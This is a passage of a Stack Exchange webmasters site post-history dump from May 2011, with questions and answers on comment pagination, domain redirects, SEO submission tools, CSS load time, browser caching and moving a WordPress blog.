  <row Id="34303" PostHistoryTypeId="1" PostId="14613" RevisionGUID="f0dd87d1-28f1-46e2-bf77-ed11a877e4d8" CreationDate="2011-05-31T08:50:47.957" UserId="6260" Text="Why do we divide forum articles / comments into pages" />
  <row Id="34304" PostHistoryTypeId="3" PostId="14613" RevisionGUID="f0dd87d1-28f1-46e2-bf77-ed11a877e4d8" CreationDate="2011-05-31T08:50:47.957" UserId="6260" Text="&lt;layout&gt;" />
  <row Id="34305" PostHistoryTypeId="2" PostId="14614" RevisionGUID="e867ecab-4ce2-415f-bde2-59d36f101df7" CreationDate="2011-05-31T09:00:34.480" UserId="4311" Text="If you have a really popular posting with 2,000 followup comments, then the page will load slowly, and be unresponsive in many browsers, unless you break it up into pages. Remember to always test your website with a machine that's six or seven years old, since some of your users will have machines of similar vintage." />
  <row Id="34306" PostHistoryTypeId="25" PostId="14609" RevisionGUID="4496ac0e-ad6f-45b9-b0a0-e349a899ff60" CreationDate="2011-05-31T09:13:25.263" Comment="http://twitter.com/#!/StackWebmasters/status/75490047863951360" />
  <row Id="34307" PostHistoryTypeId="2" PostId="14615" RevisionGUID="9503c876-a640-46da-8a18-c569765c0d16" CreationDate="2011-05-31T09:16:50.990" UserId="1643" Text="You could wrap the initial bit of your post in a span called `initial`:&#xD;&#xA;&#xD;&#xA;    &lt;span class=&quot;initial&quot;&gt;Here's the first bit.&lt;/span&gt; Here's the rest.&#xD;&#xA;&#xD;&#xA;and then use that span in the meta description as `span.initial`.&#xD;&#xA;&#xD;&#xA;I got the idea from the technique described in [this article][1]&#xD;&#xA;  [1]: http://www.google.com/support/blogger/bin/answer.py?answer=42215" />
  <row Id="34308" PostHistoryTypeId="2" PostId="14616" RevisionGUID="7d5d516b-d43d-4ac0-b704-f69226ff70e7" CreationDate="2011-05-31T09:20:27.590" UserId="1643" Text="It probably comes from the days when almost everyone was on dial-up and even text pages loaded slowly. Instead of implementing paging what you could do is if there a really large number of follow ups display just the first one a have a link to a page with all of them, e.g.&#xD;&#xA;&#xD;&#xA;    view all 1280 responses" />
  <row Id="34309" PostHistoryTypeId="2" PostId="14617" RevisionGUID="8f335933-272d-4e7b-8217-3559ddb8c5e7" CreationDate="2011-05-31T09:56:55.563" UserId="5727" Text=" - Physical size of the page (anything &gt;=500kb is going to appear to load slowly for most users)&#xD;&#xA; - It is claimed search bots don't like anything over ~200-300kb ('don't like' could mean different things for each bot, ranging from non indexing to indexing last).&#xD;&#xA; - Large DOM will be very unresponsive/slow on less powerful computers." />
  <row Id="34310" PostHistoryTypeId="2" PostId="14618" RevisionGUID="c84ced26-1e19-426b-8209-aadd7e088fc1" CreationDate="2011-05-31T09:58:52.140" UserId="1231" Text="I'm setting up a site, say mysite.com. I've also bought mysite.net.&#xD;&#xA;&#xD;&#xA;What's the best way to mange this so that regardless which the user types, they end up on mysite.com?&#xD;&#xA;&#xD;&#xA;Also, what are the implications for SERPS, if any?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="34311" PostHistoryTypeId="1" PostId="14618" RevisionGUID="c84ced26-1e19-426b-8209-aadd7e088fc1" CreationDate="2011-05-31T09:58:52.140" UserId="1231" Text="Two domains, one site - what's the best way to set this up?" />
  <row Id="34312" PostHistoryTypeId="3" PostId="14618" RevisionGUID="c84ced26-1e19-426b-8209-aadd7e088fc1" CreationDate="2011-05-31T09:58:52.140" UserId="1231" Text="&lt;redirects&gt;&lt;domain-names&gt;" />
  <row Id="34313" PostHistoryTypeId="5" PostId="14618" RevisionGUID="26a0df9a-2258-4057-b5c9-b94c7b74b5e3" CreationDate="2011-05-31T10:15:02.300" UserId="1231" Comment="added 268 characters in body; deleted 1 characters in body" Text="I'm setting up a site, say mysite.com. I've also bought mysite.net.&#xD;&#xA;&#xD;&#xA;What's the best way to mange this so that regardless which the user types, they end up on mysite.com?&#xD;&#xA;&#xD;&#xA;Also, what are the implications for SERPS, if any? Is it as simple as putting a small redirect asp file on the mysite.net directory like:&#xD;&#xA;&#xD;&#xA;    &lt;%@ Language=VBScript %&gt;&#xD;&#xA;    &lt;%&#xD;&#xA;    Response.Status=&quot;301 Moved Permanently&quot;&#xD;&#xA;    Response.AddHeader &quot;Location&quot;,&quot;http://www.mysite.com/&quot;&#xD;&#xA;    %&gt; &#xD;&#xA;&#xD;&#xA;Any downsides to this?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="34314" PostHistoryTypeId="2" PostId="14619" RevisionGUID="0d584e06-7fe8-42f7-b2d1-36248902262c" CreationDate="2011-05-31T10:50:50.390" UserId="7198" Text="The &lt;a href=&quot;http://www.w3.org/People/Raggett/tidy/&quot;&gt;HTML Tidy&lt;/a&gt; tool attempts to fix missing or mismatched tags, badly nested tags, and more. The 'offline' version is &lt;a href=&quot;http://tidy.sourceforge.net/&quot;&gt;available here.&lt;/a&gt; Online versions are available from &lt;a href=&quot;http://infohound.net/tidy/&quot;&gt;Infohound&lt;/a&gt; and the &lt;a href=&quot;http://services.w3.org/tidy/tidy&quot;&gt;W3C.&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34315" PostHistoryTypeId="2" PostId="14620" RevisionGUID="9eb1f728-ef86-4b3c-80ba-c3d69be5a532" CreationDate="2011-05-31T10:52:49.797" UserId="1484" Text="I'm looking to drive more traffic to some blogs I maintain. We've had good success with submitting to sites like Reddit and Digg but the process is long and tedious with the amount of content we have. I saw products like [Social Submitter][1] and [xgenseo][2] that automatically create accounts (scarily xgen also creates dummy yahoo mail accounts and even solves the captcha) and submits articles for you. &#xD;&#xA;&#xD;&#xA;The tools seem like an extremely easy way of building up back links on relevant and important social sites without the tediousness of doing it manually. The only thing I'm worried about is that using tools like this will eventually harm my blogs traffic. Does anyone have any experience with such tools or opinions on the subject?&#xD;&#xA;&#xD;&#xA;  [1]: http://www.seodevgroup.com/products/socialsubmitter.html&#xD;&#xA;  [2]: http://www.xgenseo.com" />
  <row Id="34316" PostHistoryTypeId="1" PostId="14620" RevisionGUID="9eb1f728-ef86-4b3c-80ba-c3d69be5a532" CreationDate="2011-05-31T10:52:49.797" UserId="1484" Text="Will using social submitting/seo marketing tools harm my site in the long run?" />
  <row Id="34317" PostHistoryTypeId="3" PostId="14620" RevisionGUID="9eb1f728-ef86-4b3c-80ba-c3d69be5a532" CreationDate="2011-05-31T10:52:49.797" UserId="1484" Text="&lt;seo&gt;&lt;social-networks&gt;" />
  <row Id="34318" PostHistoryTypeId="2" PostId="14621" RevisionGUID="771dabfa-83c6-4835-a5a2-1e8282750386" CreationDate="2011-05-31T10:55:14.833" UserId="233" Text="There are only 3 options that are worth considering (in my opinion):&#xD;&#xA;&#xD;&#xA;1. **[Question2Answer][1]** uses PHP and MySQL. I've used it myself and it's by far the best option for PHP.&#xD;&#xA;2. **[OSQA][2]** uses Python and the Django framework. It's based on CNPROJ which was a Chinese exact clone of Stack Overflow. So at its heart it probably has the best interface.&#xD;&#xA;3. **[Stack Exchange's Area 51][3]** allows you to submit new site ideas and the most popular ones will get turned into sites, with the backing of Stack Exchange. The problem here is of course you will not own the site and it may take several weeks or months to get the site up and running, if it floats at all.&#xD;&#xA;&#xD;&#xA;You can check out [this question on Meta Stack Overflow][4] for some more clones. I have looked at most of them and Q2A is clearly the best PHP one. OSQA is probably the best overall. Apart from these two none of the others even come close to matching the interface and functionality.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.question2answer.org/&#xD;&#xA;  [2]: http://www.osqa.net/&#xD;&#xA;  [3]: http://area51.stackexchange.com/&#xD;&#xA;  [4]: http://meta.stackoverflow.com/questions/2267/stack-overflow-clones" />
  <row Id="34319" PostHistoryTypeId="2" PostId="14622" RevisionGUID="ff392676-d2f8-43e5-aecc-9657af189739" CreationDate="2011-05-31T11:10:10.477" UserId="1643" Text="The search engines are concerned about tracking down these tools and eliminating the links so generated from their results. So the question is whether the makers of the tools can always keep ahead of the search engines. I doubt it." />
  <row Id="34321" PostHistoryTypeId="2" PostId="14624" RevisionGUID="3551ed5b-e77b-4b75-b433-3971c0521581" CreationDate="2011-05-31T11:33:23.400" UserId="7927" Text="While I've tried to invite friends on facebook event ( previously created by application itself ) I got an error that &#xD;&#xA;&#xD;&#xA;&gt; Param eid must be a valid event id&#xD;&#xA;&#xD;&#xA;My event URL is http://www.facebook.com/event.php?eid=176573689062700 and which is on public status and anyone can view event on URL.&#xD;&#xA;&#xD;&#xA;but my application can't send invitation with the above error...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34322" PostHistoryTypeId="1" PostId="14624" RevisionGUID="3551ed5b-e77b-4b75-b433-3971c0521581" CreationDate="2011-05-31T11:33:23.400" UserId="7927" Text="Error on facebook event posting through Application. =&gt; Param eid must be a valid event id" />
  <row Id="34323" PostHistoryTypeId="3" PostId="14624" RevisionGUID="3551ed5b-e77b-4b75-b433-3971c0521581" CreationDate="2011-05-31T11:33:23.400" UserId="7927" Text="&lt;facebook-application&gt;" />
  <row Id="34324" PostHistoryTypeId="2" PostId="14625" RevisionGUID="cdba001e-56c3-4a19-baff-a178c7f0b0b9" CreationDate="2011-05-31T11:55:30.593" UserId="1253" Text="You definitely want to do a 301 redirect. This makes sure the search engines know the main URL is the only URL you want them to use. This is important, not only for usability's sake but ensures that you won't have duplicate content issues by having the same content on two different URLs. &#xD;&#xA;&#xD;&#xA;Since it sounds like your site is new there won't be any other ramifications to this. If your site was older doing this would also benefit you by making sure any links you got to your secondary URL would be transferred over to the primary domain which would be a positive thing for SEO." />
  <row Id="34325" PostHistoryTypeId="2" PostId="14626" RevisionGUID="8213b119-4c6f-4f9b-84ea-3458f4fe08f7" CreationDate="2011-05-31T12:02:00.793" UserId="1253" Text="Search engines very much dislike tools that automate anything that manipulates their SERPs. Usually this is limited to tools that set up link farms and repeatedly query their servers. But anything that manipulating their servers potentially leaves you in their cross hairs.&#xD;&#xA;&#xD;&#xA;Also, using tools like these is against the TOS of those websites and you may find your IP addressed banned and suddenly you can't use them anymore even for legitimate reasons.&#xD;&#xA;&#xD;&#xA;The odds are if you're trowing that many links at sites like Reddit and Digg then you're only producing a lot of noise which will result in those sites burying you quick. You'll be known as a spammer and users of those sites will no longer consider you worth voting up/visiting. Why not just do it the right way? If your content is any good it will be worth the manual submission as it will potentially reap the rewards of the megatraffic those sites can deliver. You can even have your users help you with this by placing the buttons of those sites in your pages." />
  <row Id="34326" PostHistoryTypeId="25" PostId="14618" RevisionGUID="202fde36-7944-45ec-adbd-97de36bb46d9" CreationDate="2011-05-31T12:13:25.413" Comment="http://twitter.com/#!/StackWebmasters/status/75535348767264769" />
  <row Id="34327" PostHistoryTypeId="17" PostId="14627" RevisionGUID="1cbfa31e-e8ed-4edc-a28a-63319ecf4e3d" CreationDate="2011-05-31T13:05:37.363" UserId="-1" Comment="from http://stackoverflow.com/questions/6099927/understanding-the-eu-cookie-directive-rules" Text="" />
  <row Id="34328" PostHistoryTypeId="2" PostId="14627" RevisionGUID="d0361577-03bf-47c7-8994-83bc2328ab12" CreationDate="2011-05-23T16:11:42.660" UserDisplayName="rr" Text="I work on a service that has multiple EU clients. The service is hosted and maintained in the US. Before I even worry about compliance, I'm trying to figure out whether my service needs to comply at all.&#xD;&#xA;&#xD;&#xA;Is there an anything out there that explains the new EU cookie directive rules in plain English?" />
  <row Id="34329" PostHistoryTypeId="1" PostId="14627" RevisionGUID="d0361577-03bf-47c7-8994-83bc2328ab12" CreationDate="2011-05-23T16:11:42.660" UserDisplayName="rr" Text="Understanding the EU Cookie Directive Rules?" />
  <row Id="34330" PostHistoryTypeId="3" PostId="14627" RevisionGUID="d0361577-03bf-47c7-8994-83bc2328ab12" CreationDate="2011-05-23T16:11:42.660" UserDisplayName="rr" Text="&lt;privacy&gt;" />
  <row Id="34331" PostHistoryTypeId="2" PostId="14628" RevisionGUID="21ff5fb9-1180-4e59-803f-98ec5dcf2c5e" CreationDate="2011-05-31T13:08:04.053" UserId="7588" Text="I thought that there were SEO implications to running duplicate content sites, or didn't I get the memo?&#xD;&#xA;&#xD;&#xA;You should autodetect because you don't want people loading the wrong 'look' of your site from their device. An example of this is when someone sends you a link to an ebay item from their mobile, you open it up on your PC/Mapple and you then have to figure out how to see it properly on the main site.&#xD;&#xA;&#xD;&#xA;A separate URL is not going to help." />
  <row Id="34332" PostHistoryTypeId="2" PostId="14629" RevisionGUID="0e44ff6c-55c8-4845-a159-f0f3f9009d7f" CreationDate="2011-05-31T13:10:36.053" UserId="2026" Text="I'll suggest [Answer][1] wordpress theme. &#xD;&#xA;&#xD;&#xA;&gt; Wordpress is a framework build on PHP&#xD;&#xA;&gt; and use mysql as DB. Its installation&#xD;&#xA;&gt; and configuration is very easy.&#xD;&#xA;&#xD;&#xA;I already had tried this theme and found it very good. I added some plug-ins like wp-favorite, comments voting etc. to make it like stackexchange.&#xD;&#xA;&#xD;&#xA;*This will be good if you are planning to start on shared hosting with minimum investment. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://templatic.com/demos/?theme=answers" />
  <row Id="34333" PostHistoryTypeId="2" PostId="14630" RevisionGUID="b7c775ba-cddb-46cf-9ec0-9c755e86b231" CreationDate="2011-05-31T13:15:03.070" UserId="7588" Text="Now for something different...&#xD;&#xA;&#xD;&#xA;Your legal options are not going to help - too much time and money, best invested in something else...&#xD;&#xA;&#xD;&#xA;Obfuscate your photos by delivering them in a DeepZoom viewer that downloads lots and lots of hi-res tiles. Make the tile size small and you literally impose a jigsaw puzzle on your thieves - the best they can do is a screenshot and then you can protect your assets with a non-irritating watermark.&#xD;&#xA;&#xD;&#xA;Because Microsoft have tried to hide the open source AJAX version of DeepZoom 'seadragon' there is not a lot that the casual thief will be able to do to reverse engineer your viewer.&#xD;&#xA;&#xD;&#xA;You can also add some quality functionality to your site as people will be able to full-screen view your images in considerable resolution (and without being able to steal)." />
  <row Id="34334" PostHistoryTypeId="2" PostId="14631" RevisionGUID="1afaf2a2-a8eb-4359-8260-c3af86ec3788" CreationDate="2011-05-31T13:27:18.437" UserId="2209" Text="Does using multiple CSS files (default.css, print.css, mobile.css...) affect a website's load time?" />
  <row Id="34335" PostHistoryTypeId="1" PostId="14631" RevisionGUID="1afaf2a2-a8eb-4359-8260-c3af86ec3788" CreationDate="2011-05-31T13:27:18.437" UserId="2209" Text="Does multiple CSS files affect load time?" />
  <row Id="34336" PostHistoryTypeId="3" PostId="14631" RevisionGUID="1afaf2a2-a8eb-4359-8260-c3af86ec3788" CreationDate="2011-05-31T13:27:18.437" UserId="2209" Text="&lt;css&gt;&lt;load-time&gt;" />
  <row Id="34337" PostHistoryTypeId="2" PostId="14632" RevisionGUID="2c89f6ff-2d86-47fe-8be0-7c70d150260a" CreationDate="2011-05-31T13:33:23.020" UserId="1643" Text="Yes. Each one has an overhead of an http request. However, by the looks of it you're using different style sheets for different media types, so the browser should only use them if it needs them, providing you're defining them like this:&#xD;&#xA;&#xD;&#xA;    &lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;core.css&quot;&#xD;&#xA;      media=&quot;screen&quot; /&gt;&#xD;&#xA;    &lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;print.css&quot;&#xD;&#xA;      media=&quot;print&quot; /&gt;&#xD;&#xA;&#xD;&#xA;For mobile you can be clever and use media queries according to the abilities of mobile devices: http://www.alistapart.com/articles/responsive-web-design/&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34338" PostHistoryTypeId="2" PostId="14633" RevisionGUID="58f7095f-f6a8-4ef7-b88e-e37582694e47" CreationDate="2011-05-31T13:33:29.173" UserId="7198" Text="**Yes.** The more HTTP requests you make, the slower your site will load. That's why Yahoo's first recommendation in ['Best Practices for Speeding up Your Website'](http://developer.yahoo.com/performance/rules.html) is to minimise HTTP requests by combining CSS files:&#xD;&#xA;&#xD;&#xA;&gt; &quot;Combined files are a way to reduce the number of HTTP requests by combining all scripts into a single script, and similarly combining all CSS into a single stylesheet. Combining files is more challenging when the scripts and stylesheets vary from page to page, but making this part of your release process improves response times.&quot;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34339" PostHistoryTypeId="2" PostId="14634" RevisionGUID="b3db91cf-19cc-462d-ad95-5b97198513f0" CreationDate="2011-05-31T13:57:07.810" UserId="7548" Text="You could set up a [wordpress](http://wordpress.org) site with a [bbpress](http://bbpress.org/) forum.  They're very good at trying to simplify the upgrade process.&#xD;&#xA;&#xD;&#xA;I've predominatly used [phpBB](http://www.phpbb.com/) but I don't think this has much over vBulletin." />
  <row Id="34340" PostHistoryTypeId="2" PostId="14635" RevisionGUID="68f90274-f139-47f7-b3da-a4c8c03f03f3" CreationDate="2011-05-31T14:14:11.923" UserId="5847" Text="I setup a blog for development purposes on the ***.com/a/ directory and now want to move it to the root directory ***.com on the same host. &#xD;&#xA;&#xD;&#xA;How do I Backup and Move the Wordpress Blog Website to the Root Directory on the SAME host?&#xD;&#xA;&#xD;&#xA;I'm looking at a tutorial on [WordpressSites.net][1] but am pretty sure I can skip some of these steps because I am using the same hosting service and just need to change a couple settings right? &#xD;&#xA;&#xD;&#xA;Here are the steps require to completely change hosting companies:&#xD;&#xA; &#xD;&#xA;- Complete Full Backup of Your WordPress Site&#xD;&#xA;- Setup Your New Database at Your New Host&#xD;&#xA;- Change Your Existing DNS Domain Name Servers To Point To Your New Host&#xD;&#xA;- Upload and Import Your WordPress Backup To Your New Hosts Database&#xD;&#xA;- Configure Your Import Settings For Restoration and Completion To Your New Host&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wordpresssites.net/site-move/backup-site-move-wordpress-host-wordpress-plugin/" />
  <row Id="34341" PostHistoryTypeId="1" PostId="14635" RevisionGUID="68f90274-f139-47f7-b3da-a4c8c03f03f3" CreationDate="2011-05-31T14:14:11.923" UserId="5847" Text="PHP - How to Backup and Move Wordpress Blog Website to different directory on the same host" />
  <row Id="34342" PostHistoryTypeId="3" PostId="14635" RevisionGUID="68f90274-f139-47f7-b3da-a4c8c03f03f3" CreationDate="2011-05-31T14:14:11.923" UserId="5847" Text="&lt;php&gt;&lt;wordpress&gt;&lt;mysql&gt;&lt;phpmyadmin&gt;" />
  <row Id="34343" PostHistoryTypeId="17" PostId="14636" RevisionGUID="c247418e-569c-4425-bf09-7c8708a7eed3" CreationDate="2011-05-31T14:16:16.773" UserId="-1" Comment="from http://stackoverflow.com/questions/6132799/track-a-adobe-flash-app-hosted-on-multiple-domains-with-google-analytics" Text="" />
  <row Id="34344" PostHistoryTypeId="2" PostId="14636" RevisionGUID="e7b86b1f-f78f-455b-91b4-734e9fd12309" CreationDate="2011-05-26T01:32:45.710" UserId="7795" Text="I'm working on a flash app that's gonna be distributed to more and more partners (and obviously domains). It needs to be tracked **aggregated and also separately**.&#xD;&#xA;&#xD;&#xA;I implemented Google Analytics using [gaforflash][1], tracking virtual pageviews and events inside the flash app.&#xD;&#xA;&#xD;&#xA;What I want to achieve:&#xD;&#xA;&#xD;&#xA; - View an **aggregated report** of all partners.&#xD;&#xA; - Identify the partner not by the domain (where the flash is used), but by a **partnerID**.&#xD;&#xA; - **Each partner** needs access to the **report of his domain**. (no admin rights needed)&#xD;&#xA;&#xD;&#xA;I came up with this solution:&#xD;&#xA;&#xD;&#xA; - Using only one &quot;Web property&quot; in Google Analytics.&#xD;&#xA;   - &lt;code&gt;UA-XXXXXX-4&lt;/code&gt;&#xD;&#xA;   - &lt;code&gt;.example.com&lt;/code&gt;&#xD;&#xA; - Set a **custom/virtual hostname** per partner. (GA's &quot;utmhn&quot; parameter)&#xD;&#xA;   - &lt;code&gt;partner1.example.com&lt;/code&gt;&#xD;&#xA;   - &lt;code&gt;partner2.example.com&lt;/code&gt;&#xD;&#xA; - Create a profile for each partner, setting the filter to include only the relevant &quot;subdomain&quot;&#xD;&#xA;&#xD;&#xA;Problems that came up:&#xD;&#xA;&#xD;&#xA; - The gaforflash library doesn't support overriding the host name.&#xD;&#xA;   - Possible workaround: The gaforflash source code is available, so I could add the functionality.&#xD;&#xA; - Any goal from the &quot;master&quot; profile is **not** copied to the partners profile.&#xD;&#xA;   - profile 1: include traffic from hostname &lt;code&gt;^partner1\\.&lt;/code&gt;&#xD;&#xA;   - profile 2: include traffic from hostname &lt;code&gt;^partner2\\.&lt;/code&gt;&#xD;&#xA;&#xD;&#xA;&lt;hr /&gt;&#xD;&#xA;&#xD;&#xA;Is it (very) bad to _fake_ the hostname?  &#xD;&#xA;Are there better approaches?  &#xD;&#xA;Or what improvements could you think of?&#xD;&#xA;&#xD;&#xA;**UPDATE:**&#xD;&#xA;&#xD;&#xA;I'm looking primarily for a solid data structure inside Google Analytics **regardless of** the **flash** implementation. The only limitations:&#xD;&#xA;&#xD;&#xA; - We need an aggregated view across all partners&#xD;&#xA; - Our partners need to have access to their subset of data&#xD;&#xA; - We want to identify the partner by a custom partnerID, not the domain&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/p/gaforflash/" />
  <row Id="34345" PostHistoryTypeId="1" PostId="14636" RevisionGUID="e7b86b1f-f78f-455b-91b4-734e9fd12309" CreationDate="2011-05-26T01:32:45.710" UserId="7795" Text="Track a Adobe Flash app hosted on multiple domains with Google Analytics" />
  <row Id="34346" PostHistoryTypeId="3" PostId="14636" RevisionGUID="e7b86b1f-f78f-455b-91b4-734e9fd12309" CreationDate="2011-05-26T01:32:45.710" UserId="7795" Text="&lt;flash&gt;&lt;google&gt;&lt;google-analytics&gt;&lt;analytics&gt;&lt;tracking&gt;" />
  <row Id="34347" PostHistoryTypeId="5" PostId="14635" RevisionGUID="100b0ff7-c75f-460a-b719-397583f4b0b8" CreationDate="2011-05-31T14:20:15.503" UserId="5847" Comment="added 137 characters in body" Text="I setup a blog for development purposes on the ***.com/a/ directory and now want to move it to the root directory ***.com on the same host. &#xD;&#xA;&#xD;&#xA;How do I Backup and Move the Wordpress Blog Website to the Root Directory on the SAME host?&#xD;&#xA;&#xD;&#xA;I'm looking at a tutorial on [WordpressSites.net][1] &amp; [howtospoter.com][2] but am pretty sure I can skip some of these steps because I am using the same hosting service and just need to change a couple settings right? &#xD;&#xA;&#xD;&#xA;Here are the steps require to completely change hosting companies:&#xD;&#xA; &#xD;&#xA;- Complete Full Backup of Your WordPress Site&#xD;&#xA;- Setup Your New Database at Your New Host&#xD;&#xA;- Change Your Existing DNS Domain Name Servers To Point To Your New Host&#xD;&#xA;- Upload and Import Your WordPress Backup To Your New Hosts Database&#xD;&#xA;- Configure Your Import Settings For Restoration and Completion To Your New Host&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wordpresssites.net/site-move/backup-site-move-wordpress-host-wordpress-plugin/&#xD;&#xA;  [2]: http://www.howtospoter.com/web-20/wordpress/howto-move-wordpress-to-new-host/comment-page-2#comment-30294" />
  <row Id="34348" PostHistoryTypeId="2" PostId="14637" RevisionGUID="a19ff51a-7835-4959-8d8e-e1e82dae7e4d" CreationDate="2011-05-31T14:22:02.243" UserId="7198" Text="The WordPress codex has step-by-step instructions for [Moving WordPress Within Your Site.](http://codex.wordpress.org/Moving_WordPress)" />
  <row Id="34349" PostHistoryTypeId="2" PostId="14638" RevisionGUID="7341ebbc-e949-449a-9f72-dc5ba1ae730b" CreationDate="2011-05-31T14:54:07.053" UserId="2026" Text="When a css/js refers on a webpage it is first downloaded to client machine. From the next time it is referred from browser cache(if it presents). Please tell me&#xD;&#xA;&#xD;&#xA; 1. What happens when multiple sites refer a css/js having same name.&#xD;&#xA; 2. What happens when sub-domains refer a same css/js&#xD;&#xA; 3. What happens when many websites refer css/js from specified cdn like google or some other place.&#xD;&#xA;&#xD;&#xA;Please tell me, in such cases, whether browser refers copy from cache or it makes local references according to main sites ot something else" />
  <row Id="34350" PostHistoryTypeId="1" PostId="14638" RevisionGUID="7341ebbc-e949-449a-9f72-dc5ba1ae730b" CreationDate="2011-05-31T14:54:07.053" UserId="2026" Text="a css or js of same name from multiple sites or multiple pages of same site" />
  <row Id="34351" PostHistoryTypeId="3" PostId="14638" RevisionGUID="7341ebbc-e949-449a-9f72-dc5ba1ae730b" CreationDate="2011-05-31T14:54:07.053" UserId="2026" Text="&lt;browsers&gt;&lt;how&gt;" />
  <row Id="34352" PostHistoryTypeId="2" PostId="14639" RevisionGUID="ed695838-f55c-4ba4-8662-d491204ecbd5" CreationDate="2011-05-31T14:54:38.440" UserId="686" Text="One more con:  You might forget to renew your registration in 2021; that's a long way out." />
  <row Id="34353" PostHistoryTypeId="2" PostId="14640" RevisionGUID="bbfdd33e-9908-49d3-8c96-ce36099857c3" CreationDate="2011-05-31T14:57:49.187" UserId="1253" Text="&gt; What happens when multiple sites refer a css/js having same name.&#xD;&#xA;&#xD;&#xA;If they are served from different URLs then the browser will consider them to be different resources and fetch both. &#xD;&#xA;&#xD;&#xA;&gt; What happens when sub-domains refer a same css/js&#xD;&#xA;&#xD;&#xA;If they are served from different URLs then the browser will consider them to be different resources and fetch both. If they refer to the same file then the browser will download the file on the first request and then use a cached copy of the file if appropriate (i.e. not expired).&#xD;&#xA;&#xD;&#xA;&gt; What happens when many websites refer css/js from specified cdn like&#xD;&#xA;&gt; google or some other place.&#xD;&#xA;&#xD;&#xA;They will download the file on the first request and then use a cached copy for subsequent requests (if it is not expired)." />
  <row Id="34354" PostHistoryTypeId="5" PostId="14638" RevisionGUID="dcdce3ab-f24a-485a-bf2b-001e33412935" CreationDate="2011-05-31T15:01:05.720" UserId="1253" Comment="modified tags, minor text edits" Text="When a css/js refers on a webpage it is first downloaded to client machine. From the next time it is referred from browser cache (if it presents). Please tell me&#xD;&#xA;&#xD;&#xA; 1. What happens when multiple sites refer a css/js having same name.&#xD;&#xA; 2. What happens when sub-domains refer a same css/js&#xD;&#xA; 3. What happens when many websites refer css/js from specified cdn like google or some other place.&#xD;&#xA;&#xD;&#xA;Please tell me, in such cases, whether browser refers copy from cache or it makes local references according to main sites or something else." />
  <row Id="34355" PostHistoryTypeId="6" PostId="14638" RevisionGUID="dcdce3ab-f24a-485a-bf2b-001e33412935" CreationDate="2011-05-31T15:01:05.720" UserId="1253" Comment="modified tags, minor text edits" Text="&lt;browsers&gt;&lt;cache-control&gt;" />
  <row Id="34356" PostHistoryTypeId="2" PostId="14641" RevisionGUID="fb907a7b-d1b2-4e63-b089-5c88274cca34" CreationDate="2011-05-31T15:01:34.623" UserId="7588" Text="Given that RDFa is fairly sensible and Google use it, should I plug in some sensible semantic web tags into my site or should I invest my energies into 'Link Building'?&#xD;&#xA;&#xD;&#xA;I don't think the site is important to the question, however it is a relaunched hotel website." />
  <row Id="34357" PostHistoryTypeId="1" PostId="14641" RevisionGUID="fb907a7b-d1b2-4e63-b089-5c88274cca34" CreationDate="2011-05-31T15:01:34.623" UserId="7588" Text="What is best for SEO - 'RDFa Semantic Web' or 'Link Building'" />
  <row Id="34358" PostHistoryTypeId="3" PostId="14641" RevisionGUID="fb907a7b-d1b2-4e63-b089-5c88274cca34" CreationDate="2011-05-31T15:01:34.623" UserId="7588" Text="&lt;rdfa&gt;" />
  <row Id="34359" PostHistoryTypeId="2" PostId="14642" RevisionGUID="ca793db1-d17c-4b2c-a08d-5fa834d171cd" CreationDate="2011-05-31T15:03:20.447" UserId="1253" Text="Why would you choose one over the other? You should be doing both as the two are not mutually exclusive. Build your site with semantic markup, including rdfa, and then seek links after it is built.  " />
  <row Id="34360" PostHistoryTypeId="5" PostId="14641" RevisionGUID="640ead69-bb41-44dd-be95-48120d6324ba" CreationDate="2011-05-31T15:04:42.193" UserId="1253" Comment="modified question to include comments, modified tags" Text="Given that RDFa is fairly sensible and Google use it, should I plug in some sensible semantic web tags into my site or should I invest my energies into 'Link Building'?&#xD;&#xA;&#xD;&#xA;I was also planning to use: [ebusiness-unibw.org/tools/grsnippetgen][1] to put my semantic markup together.&#xD;&#xA;&#xD;&#xA;I don't think the site is important to the question, however it is a relaunched hotel website.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.ebusiness-unibw.org/tools/grsnippetgen/" />
  <row Id="34361" PostHistoryTypeId="6" PostId="14641" RevisionGUID="640ead69-bb41-44dd-be95-48120d6324ba" CreationDate="2011-05-31T15:04:42.193" UserId="1253" Comment="modified question to include comments, modified tags" Text="&lt;seo&gt;&lt;rdfa&gt;" />
  <row Id="34362" PostHistoryTypeId="5" PostId="14637" RevisionGUID="6461498a-9022-4770-9c53-00a448fafbf1" CreationDate="2011-05-31T15:09:36.623" UserId="5847" Comment="added all the steps required to strengthen answer :) " Text="The WordPress codex has step-by-step instructions for [Moving WordPress Within Your Site.](http://codex.wordpress.org/Moving_WordPress)&#xD;&#xA;&#xD;&#xA;Here are the step-by-step instructions:&#xD;&#xA;&#xD;&#xA;1. Create the new location using one of these two options:&#xD;&#xA;If you will be moving your WordPress core files to a new directory, create the new directory.&#xD;&#xA;If you want to move WordPress to your root directory, make sure all index.php, .htaccess, and other files that might be copied over are backed up and/or moved, and that the root directory is ready for the new WordPress files.&#xD;&#xA;2. Login to your blog.&#xD;&#xA;Go to the Administration &gt; Settings &gt; General panel.&#xD;&#xA;3. In the box for WordPress address (URI): change the address to the new location of your main WordPress core files.&#xD;&#xA;4. In the box for Blog address (URI): change the address to the new location, which should match the WordPress address (URI).&#xD;&#xA;5. Click Save Settings.&#xD;&#xA;6. (Do not try to open/view your blog now!)&#xD;&#xA;7. WordPress 2.0 only: Delete the folder wp-content/cache.&#xD;&#xA;8. Move your WordPress core files to the new location. This includes the files found within the original directory, such as http://example.com/wordpress, and all the sub-directories, to the new location.&#xD;&#xA;9. If you are using Permalinks, go to the Administration &gt; Settings &gt; Permalinks 